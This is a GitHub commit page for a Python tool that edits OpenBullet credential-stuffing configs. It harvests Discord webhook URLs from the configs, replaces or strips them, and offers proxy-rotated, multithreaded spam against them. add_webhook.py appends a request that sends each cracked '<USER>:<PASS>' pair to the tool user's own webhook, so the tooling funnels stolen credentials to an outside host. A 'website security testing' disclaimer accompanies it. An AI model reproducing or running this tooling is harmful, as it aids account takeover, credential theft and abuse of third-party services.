Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
- Removed colorama.
- Added separated files.
- Rewritten from 0.
- Fixed add webhook function.
- Added better webhook spam.
- Added multithreading.
- Added better proxy rotation.
- Changed add webhook method.
- Added better menu.
- Added better duplicate remover with 2 options.
- Now all the edited files have their folders instead of editing the main config files.
- Separated py files for better read/maintance.
- Added requirement installer.
- Added run script bat.
  • Loading branch information
onemanbuilds committed Aug 13, 2021
1 parent 1d03546 commit 436dde4
Show file tree
Hide file tree
Showing 19 changed files with 598 additions and 260 deletions.
66 changes: 45 additions & 21 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,28 +1,52 @@
# OpenBulletConfigTool
This is a simple tool for openbullet configs.<br/>
Usually openbullet configs contains discord webhook requests to send the result to the owner of the config file.

# Installation
```
pip3 install -r requirements.txt
```

# Tool
![](https://i.ibb.co/vJfP0jk/tool.png)
- This is a simple tool for openbullet configs.<br/>

# About
- Usually an openbullet config includes discord webhook requests to send the result to the owner of the config file.</br>

# Example
![](https://i.ibb.co/nCg7QDP/example.png)

# Functions
Check which config files has discord webhook<br/>
Remove duplicated webhooks from the txt file<br/>
Spam discord webhooks<br/>
Remove webhook from configs<br/>
Add your webhook to configs<br/>
Replace webhooks with your webhook
# Features
- Multithreading.</br>
- Proxy rotation.</br>
- Menu.</br>
- Add webhook request to configs.</br>
- Duplicate webhook remover.</br>
- Duplicate config remover.</br>
- Duplicate remover menu.</br>
- Get the config which contains the webhook and grabs the url to a txt.</br>
- Remove webhook from all the configs.</br>
- Replace webhook to yours in the configs.</br>
- Spam webhooks grabbed.</br>
- Spam webhooks proxy/proxyless mode.</br>
- Spam webhooks custom proxy type.</br>
- Spam webhooks custom thread number.</br>

# Preview
![](https://i.ibb.co/w0HCJ8c/Combo-AIO-Cz5-ZIz-G8-HF.png)

# Installation
- First method, make sure you have python 3.8.7 or higher.<br/>
```
pip3 install -r requirements.txt then run the command python main.py
```
- Second method, run
```
requirements_install.bat
```
```
run_script.bat
```
- Third method, download the exe version from the releases tab on the right side.

# Note
- If you have any issues or noticed something feel free to report the issue so i can fix it when i will have time.<br/>

# Legal
The software designed to perform website security testing.<br/>
The author is not responsible for any illegal use of these programs.<br/>
I am not accountable for anything you get into.<br/>
This is 100% educational, please do not misuse this tool.
- This was merely a speedrun to demonstrate how combo editors work.<br/>
- The software designed to perform website security testing.<br/>
- The author is not responsible for any illegal use of these programs.<br/>
- I am not accountable for anything you get into.<br/>
- I am not accountable for any of your actions.<br/>
- This is 100% educational, please do not misuse this tool.<br/>
Empty file added [AddWebhook]/removeme.txt
Empty file.
Empty file added [Configs]/removeme.txt
Empty file.
Empty file added [GetWebhooks]/webhooks.txt
Empty file.
Empty file added [RemoveWebhooks]/removeme.txt
Empty file.
Empty file added [ReplaceWebhooks]/removeme.txt
Empty file.
42 changes: 42 additions & 0 deletions add_webhook.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
from helpers import _clear,_setTitle,_printText,_copyFile,colors

class AddWebhook:
def __init__(self,configs) -> None:
_setTitle('[OPENBULLET CONFIG TOOL] ^| [AddWebhook]')
_clear()
title = colors['lpurple']+"""
╔═══════════════════════════════════════════════════════════════════════╗
█████╗ ██████╗ ██████╗
██╔══██╗██╔══██╗██╔══██╗
███████║██║ ██║██║ ██║
██╔══██║██║ ██║██║ ██║
██║ ██║██████╔╝██████╔╝
╚═╝ ╚═╝╚═════╝ ╚═════╝
╚═══════════════════════════════════════════════════════════════════════╝
"""
print(title)

self.configs = configs
self.webhook_url = str(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}Webhook URL:{colors["lpurple"]} '))
print('')

#should change the append line function
def _addWebhook(self):
webhook_content = '''
REQUEST POST "'''+self.webhook_url+'''"
CONTENT "{\\"content\\":\\">>> ```<USER>:<PASS>```\\"}"
CONTENTTYPE "application/json"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"'''

for config in self.configs:
if config.endswith('.loli') or config.endswith('.anom'):
_copyFile(f'[Configs]/{config}',f'[AddWebhook]/{config}')
with open(f'[AddWebhook]/{config}','a',encoding='utf8',errors='ignore') as f:
f.write(webhook_content)
_printText(colors['bcyan'],colors['lpurple'],'ADDED',config)

def _start(self):
self._addWebhook()
106 changes: 106 additions & 0 deletions duplicate_remover.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
from helpers import _clear,_setTitle,_printText,colors
from os.path import isfile
from os import remove
from hashlib import md5

class DuplicateRemover:
def __init__(self,configs,webhooks) -> None:
_setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover]')
_clear()
title = colors['lpurple']+"""
╔═══════════════════════════════════════════════════════════════════════╗
██████╗ ██╗ ██╗██████╗ ██╗ ██╗ ██████╗ █████╗ ████████╗███████╗
██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██╔══██╗╚══██╔══╝██╔════╝
██║ ██║██║ ██║██████╔╝██║ ██║██║ ███████║ ██║ █████╗
██║ ██║██║ ██║██╔═══╝ ██║ ██║██║ ██╔══██║ ██║ ██╔══╝
██████╔╝╚██████╔╝██║ ███████╗██║╚██████╗██║ ██║ ██║ ███████╗
╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
╚═══════════════════════════════════════════════════════════════════════╝
"""
print(title)

self.configs = configs
self.webhooks = webhooks

def _menu(self):
_setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [Menu]')
_clear()
title = colors['lpurple']+"""
╔═══════════════════════════════════════════════════════════════════════╗
███╗ ███╗███████╗███╗ ██╗██╗ ██╗
████╗ ████║██╔════╝████╗ ██║██║ ██║
██╔████╔██║█████╗ ██╔██╗ ██║██║ ██║
██║╚██╔╝██║██╔══╝ ██║╚██╗██║██║ ██║
██║ ╚═╝ ██║███████╗██║ ╚████║╚██████╔╝
╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝
╚═══════════════════════════════════════════════════════════════════════╝
"""
print(title)

options = ['Remove Duplicated Webhooks','Remove Duplicated Configs']
counter = 0
for option in options:
counter+=1
_printText(colors['bcyan'],colors['lpurple'],str(counter),option)
print('')

selected = int(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}Select something:{colors["lpurple"]} '))

if selected == 1:
self._duplicateWebhookRemove()
elif selected == 2:
self._duplicateConfigRemove()
else:
self._menu()

def _duplicateWebhookRemove(self):
_setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [WebhookRemove]')
_clear()
title = colors['lpurple']+"""
╔═══════════════════════════════════════════════════════════════════════╗
██╗ ██╗███████╗██████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗
██║ ██║██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔═══██╗██║ ██╔╝
██║ █╗ ██║█████╗ ██████╔╝███████║██║ ██║██║ ██║█████╔╝
██║███╗██║██╔══╝ ██╔══██╗██╔══██║██║ ██║██║ ██║██╔═██╗
╚███╔███╔╝███████╗██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║ ██╗
╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
╚═══════════════════════════════════════════════════════════════════════╝
"""
print(title)
_printText(colors['bcyan'],colors['lpurple'],'BEFORE',str(len(self.webhooks)))
cleaned_file = set(self.webhooks)
open('[GetWebhooks]/webhooks.txt', 'w',encoding='utf8',errors='ignore').close()
for line in cleaned_file:
with open(f'[GetWebhooks]/webhooks.txt','a',encoding='utf8') as f:
f.write(f'{line}\n')

_printText(colors['bcyan'],colors['lpurple'],'AFTER',str(len(cleaned_file)))
print('')
_printText(colors['bcyan'],colors['lpurple'],'FINISHED','Process done!')

def _duplicateConfigRemove(self):
_setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [ConfigRemove]')
_clear()
title = colors['lpurple']+"""
╔═══════════════════════════════════════════════════════════════════════╗
██████╗ ██████╗ ███╗ ██╗███████╗██╗ ██████╗
██╔════╝██╔═══██╗████╗ ██║██╔════╝██║██╔════╝
██║ ██║ ██║██╔██╗ ██║█████╗ ██║██║ ███╗
██║ ██║ ██║██║╚██╗██║██╔══╝ ██║██║ ██║
╚██████╗╚██████╔╝██║ ╚████║██║ ██║╚██████╔╝
╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝
╚═══════════════════════════════════════════════════════════════════════╝
"""
print(title)

unique = []
for config in self.configs:
if isfile(config):
filehash = md5(open(config, 'rb').read()).hexdigest()
if filehash not in unique:
unique.append(filehash)
else:
remove(config)
_printText(colors['bcyan'],colors['lpurple'],'REMOVED',config)
print('')
_printText(colors['bcyan'],colors['lpurple'],'FINISHED','Process done!')
39 changes: 39 additions & 0 deletions get_webhooks.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
from helpers import _clear,_setTitle,_printText,_readFile,_copyFile,colors

class GetWebhooks:
def __init__(self,configs) -> None:
_setTitle('[OPENBULLET CONFIG TOOL] ^| [GetWebhooks]')
_clear()
title = colors['lpurple']+"""
╔═══════════════════════════════════════════════════════════════════════╗
██████╗ ███████╗████████╗
██╔════╝ ██╔════╝╚══██╔══╝
██║ ███╗█████╗ ██║
██║ ██║██╔══╝ ██║
╚██████╔╝███████╗ ██║
╚═════╝ ╚══════╝ ╚═╝
╚═══════════════════════════════════════════════════════════════════════╝
"""
print(title)

self.configs = configs

def _getWebhooks(self):
open('[GetWebhooks]/webhooks.txt', 'w',encoding='utf8',errors='ignore').close()
for config in self.configs:
current_content = _readFile(f'[Configs]/{config}','r',1)
try:
for line in current_content:
if 'https://discordapp.com/api/webhooks/' in line:
webhook = 'https://'+line.split('https://')[1].replace('"','').strip()
_printText(colors['bcyan'],colors['lpurple'],'FOUND',config)
with open(f'[GetWebhooks]/webhooks.txt','a',encoding='utf8',errors='ignore') as f:
f.write(f'{webhook}\n')
_copyFile(f'[Configs]/{config}',f'[GetWebhooks]/{config}')
_printText(colors['bcyan'],colors['lpurple'],'COPIED',config)
except Exception:
pass


def _start(self):
self._getWebhooks()
102 changes: 102 additions & 0 deletions helpers.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
from os import name,system,stat
from sys import stdout
from time import sleep
from datetime import datetime
from random import choice
from shutil import copyfile

colors = {'white': "\033[1;37m", 'green': "\033[0;32m", 'red': "\033[0;31m", 'yellow': "\033[1;33m",'bblue':"\033[1;34;40m",'bcyan':"\033[1;36;40m","lpurple":'\033[1;35m'}

def _clear():
"""Clears the console on every os."""
if name == 'posix':
system('clear')
elif name in ('ce', 'nt', 'dos'):
system('cls')
else:
print("\n") * 120

def _setTitle(title:str):
"""Sets the console title on every os."""
if name == 'posix':
stdout.write(f"\x1b]2;{title}\x07")
elif name in ('ce', 'nt', 'dos'):
system(f'title {title}')
else:
stdout.write(f"\x1b]2;{title}\x07")

def _printText(bracket_color,text_in_bracket_color,text_in_bracket,text):
"""Prints colored formatted text."""
stdout.flush()
text = text.encode('ascii','replace').decode()
stdout.write(bracket_color+'['+text_in_bracket_color+text_in_bracket+bracket_color+'] '+bracket_color+text+'\n')

def _readFile(filename,method,skip):
"""Read file with empty and file not found check."""
try:
if stat(filename).st_size != 0:
with open(filename,method,encoding='utf8',errors='ignore') as f:
content = [line.strip('\n') for line in f]
return content
else:
print('')
_printText(colors['red'],colors['white'],'ERROR',f'{filename} is empty!')
if skip == 1:
pass
else:
sleep(2)
raise SystemExit
except FileNotFoundError:
print('')
_printText(colors['red'],colors['white'],'ERROR','File not found!')

def _getCurrentTime():
"""Returns the current time formatted."""
now = datetime.now()
curr_time = now.strftime("%d_%m_%Y_%H")
return curr_time

def _copyFile(oldpath,newpath):
try:
copyfile(oldpath,newpath)
except Exception:
pass

def _findStringBetween(string,first,last):
"""Returns the string between 2 strings."""
start = string.index( first ) + len( first )
end = string.index( last, start )
return string[start:end]

def _getRandomUserAgent(path):
"""Returns a random user agent."""
useragents = _readFile(path,'r',0)
return choice(useragents)

def _getRandomProxy(use_proxy, proxy_type,path):
"""Returns random proxy dict with proxy type check."""
proxies = {}
if use_proxy == 1:
proxies_file = _readFile(path, 'r',0)
random_proxy = choice(proxies_file)
if proxy_type == 1:
proxies = {
"http": "http://{0}".format(random_proxy),
"https": "https://{0}".format(random_proxy)
}
elif proxy_type == 2:
proxies = {
"http": "socks4://{0}".format(random_proxy),
"https": "socks4://{0}".format(random_proxy)
}
else:
proxies = {
"http": "socks5://{0}".format(random_proxy),
"https": "socks5://{0}".format(random_proxy)
}
else:
proxies = {
"http": None,
"https": None
}
return proxies
Loading

0 comments on commit 436dde4

Please sign in to comment.